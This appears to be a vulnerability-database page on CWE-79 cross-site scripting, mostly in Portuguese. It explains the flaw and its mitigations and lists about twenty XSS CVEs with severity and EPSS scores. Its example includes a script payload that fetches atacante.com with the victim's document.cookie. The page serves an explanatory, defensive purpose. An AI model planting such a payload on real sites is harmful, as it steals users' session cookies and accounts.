Fallos del tipo CWE-79

29.825 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-44549HIGHOpen WebUI: Stored XSS in excel file previewEPSS 0.4%CVE-2026-33738MEDIUMLychee Vulnerable to Stored XSS via Photo Description in RSS/Atom/JSON Feed (No Sanitization on Public Endpoint)EPSS 0.4%CVE-2024-3575MEDIUMCross-site Scripting (XSS) - Stored in mindsdb/mindsdbEPSS 0.4%CVE-2023-23481MEDIUMIBM Sterling Partner Engagement Manager cross-site scriptingEPSS 0.4%CVE-2023-38722MEDIUMIBM Sterling Partner Engagement Manager cross-site scriptingEPSS 0.4%CVE-2023-40367MEDIUMIBM QRadar SIEM cross-site scriptingEPSS 0.4%CVE-2023-23480MEDIUMIBM Sterling Partner Engagement Manager cross-site scriptingEPSS 0.4%CVE-2026-28426HIGHStatamic vulnerable to privilege escalation via stored cross-site scriptingEPSS 0.4%CVE-2024-4635MEDIUMMenu Icons by ThemeIsle <= 0.13.13 - Authenticated (Author+) Stored Cross-Site Scripting via SVG UploadEPSS 0.4%CVE-2024-6035HIGHStored XSS in gaizhenbiao/chuanhuchatgptEPSS 0.4%CVE-2026-4075MEDIUMBWL Advanced FAQ Manager Lite <= 1.1.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'sbox_id' Shortcode AttributeEPSS 0.4%CVE-2023-26274MEDIUMIBM QRadar cross-site scriptingEPSS 0.4%CVE-2026-4120MEDIUMInfo Cards <= 2.0.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via Block AttributesEPSS 0.4%CVE-2024-12843MEDIUMEmlog Pro plugin.php cross site scriptingEPSS 0.4%CVE-2024-8770MEDIUMA Cross-Site Scripting (XSS) vulnerability was identified in the repository transfer feature of GitHub Enterprise Server, which allows attacEPSS 0.4%CVE-2026-27505MEDIUMSVXportal <= 2.5 admin/user_action.php Stored XSSEPSS 0.4%CVE-2022-43866MEDIUMIBM Maximo Asset Management cross-site scriptingEPSS 0.4%CVE-2022-41905HIGHwsgidav is vulnerable to Cross-Site Scripting (XSS) when directory browsing is enabledEPSS 0.4%CVE-2024-53620MEDIUMA cross-site scripting (XSS) vulnerability in the Article module of SPIP v4.3.3 allows authenticated attackers to execute arbitrary web scriEPSS 0.4%CVE-2026-26992MEDIUMLibreNMS has Stored Cross-Site Scripting via unsanitized /port-groups nameEPSS 0.4%